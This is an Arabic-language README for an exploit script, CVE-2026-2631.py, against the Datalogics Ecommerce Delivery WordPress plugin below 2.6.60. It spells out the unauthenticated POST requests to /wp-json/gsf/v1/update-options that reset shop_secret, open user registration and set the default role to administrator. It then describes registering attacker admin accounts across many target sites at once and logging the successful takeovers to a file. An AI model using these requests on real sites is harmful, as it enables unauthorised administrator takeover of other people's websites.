
Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - تصعيد امتيازات بدون مصادقة
Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - تصعيد صلاحيات بدون مصادقة
نص PoC / سكربت الاستغلال:
CVE-2026-2631.py
المؤلف: Khaled Alenazi (Nxploited) – Nxploited ZeroDay Hub
للتواصل: تيليجرام:@Kxploit
< 2.6.60 (حصريًا)CVE-2026-26319.8 (Critical)AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Hالبرنامج المساعد Datalogics Ecommerce Delivery – Datalogics يعرّض نقطة نهاية بدون مصادقة:
/wp-json/gsf/v1/update-options
يستغل هذا السكربت تلك النقطة من أجل:
shop_secret باستخدام الإجراء القابل للاستغلال resetStoreConfigrations.users_can_register = 1.administrator: default_role = administrator.wp-login.php?action=registerفي حال نجاح العملية، أي مستخدم جديد يتم إنشاؤه عبر نموذج التسجيل سيكون مديرًا (administrator).
users_can_register = 1default_role = administratorrich (جدول ملوّن ومحدّث مباشرةً).Login_admin.txt.تثبيت الحزم المطلوبة:
pip install -r requirements.txt
مثال على requirements.txt:
requests
rich
urllib3
أو التثبيت يدويًا:
pip install requests rich urllib3
لكل هدف:
تطبيع عنوان URL
http:// إذا كانت مفقودة.إعادة تعيين shop_secret
/wp-json/gsf/v1/update-optionsaction = resetStoreConfigrationsshop_secret = <new_secret>app secret key has been updated successfullyتحديث خيارات ووردبريس
action = createUpdateOptionoption_key = users_can_register, option_value = 1option_key = default_role, option_value = administratorwordpress option has been created or updated successfullyالتحقق من أن التسجيل مفتوح
/wp-login.php?action=registerUsers can register, Anyone can register, user_registration, registerformuser registration is currently not allowedمحاولة تسجيل مستخدم
_wpnonce من الحقل المخفي إذا كان موجودًا.user_login, user_emailuser_pass/user_pass2 إذا كانت حقول كلمة المرور موجودة_wpnonce, _wp_http_referer, redirect_to, wp-submit=Registerregistration complete, check your email, user registereduser_already_existsتسجيل النتائج
Login_admin.txt<site> | register_url: <url> | shop_secret: <secret> | <details>
list.txt (أو ملف مخصص).N أجزاء باستخدام chunkify.N خيط عمل، يعالج كل خيط قائمته الخاصة من الأهداف.Queue مشتركة لرسائل الحالة إلى خيط الطابعة.printer_loop) يحدّث جدول rich مباشرةً:
python3 CVE-2026-2631.py
سيُطلب منك تفاعليًا إدخال:
ملف الأهداف
Targets file (one host/URL per line) [list.txt]:list.txtvictim.comhttps://target-site.comhttp://example.org/blogعدد الخيوط
Threads (1-50) [10]:1050قيمة shop_secret
shop_secret [Nxploited_newSecret]:Nxploited_newSecretresetStoreConfigrations.بيانات اعتماد التسجيل
Registration username [Nx_test1]:Registration email [[email protected]]:Registration password [Nx_adminSA]:ستُستخدم هذه البيانات في محاولة التسجيل على كل هدف قابل للاستغلال.
أنشئ list.txt (أو أي ملف تريده) مع هدف واحد في كل سطر:
example1.com
http://example2.com
https://shop.example3.net
blog.target-site.org
السكربت سيقوم بـ:
http:// تلقائيًا إذا كانت مفقودة./ الزائدة في النهاية.جميع العمليات الناجحة (حتى لو فشل تسجيل المستخدم مع نجاح تعيين الخيارات) تُكتب إلى:
Login_admin.txt
سطر نموذجي:
http://example1.com | register_url: http://example1.com/wp-login.php?action=register | shop_secret: Nxploited_newSecret | reset_ok,option_ok,option_ok,register_open,registered user=Nx_test1 [email protected] pass=Nx_adminSA
أمثلة على الحالة في الجدول المباشر:
SUCCESS – تم تعيين الخيارات و/أو تسجيل المستخدم.FAILED – فشلت إعادة التعيين/الخيارات، الثغرة غير قابلة للاستغلال.ERROR – استثناء، أخطاء شبكة، مهلات زمنية، إلخ.POST /wp-json/gsf/v1/update-options
shop_secretaction=resetStoreConfigrations
shop_secret=<new_secret>
action=createUpdateOption
shop_secret=<new_secret>
option_key=users_can_register
option_value=1
action=createUpdateOption
shop_secret=<new_secret>
option_key=default_role
option_value=administrator
GET/POST /wp-login.php?action=register
السكربت:
_wpnonce إذا كان موجودًا.normalize_site(raw: str) -> str
يطبّع عناوين URL للأهداف.
send_reset_secret(site: str, secret: str, timeout: int = 10) -> (bool, str)
يحاول إجراء resetStoreConfigrations.
send_option(site: str, secret: str, key: str, value: str, timeout: int = 10) -> (bool, str)
يعيّن خيارات ووردبريس عبر نقطة النهاية القابلة للاستغلال.
check_registration_open(site: str, timeout: int = 10) -> (bool, str)
يتحقق مما إذا كان التسجيل مفتوحًا والنموذج متاحًا.
try_register_user(...) -> (bool, str)
يحاول تسجيل المستخدم المقدَّم.
write_success_line(site: str, secret: str, detail: str)
يسجّل تفاصيل النجاح في Login_admin.txt.
worker(...)
خيط عامل لكل خيط يقوم بـ:
shop_secretprinter_loop(queue: Queue, total: int)
يقرأ الرسائل من قائمة الانتظار ويحدّث واجهة جدول rich المباشرة.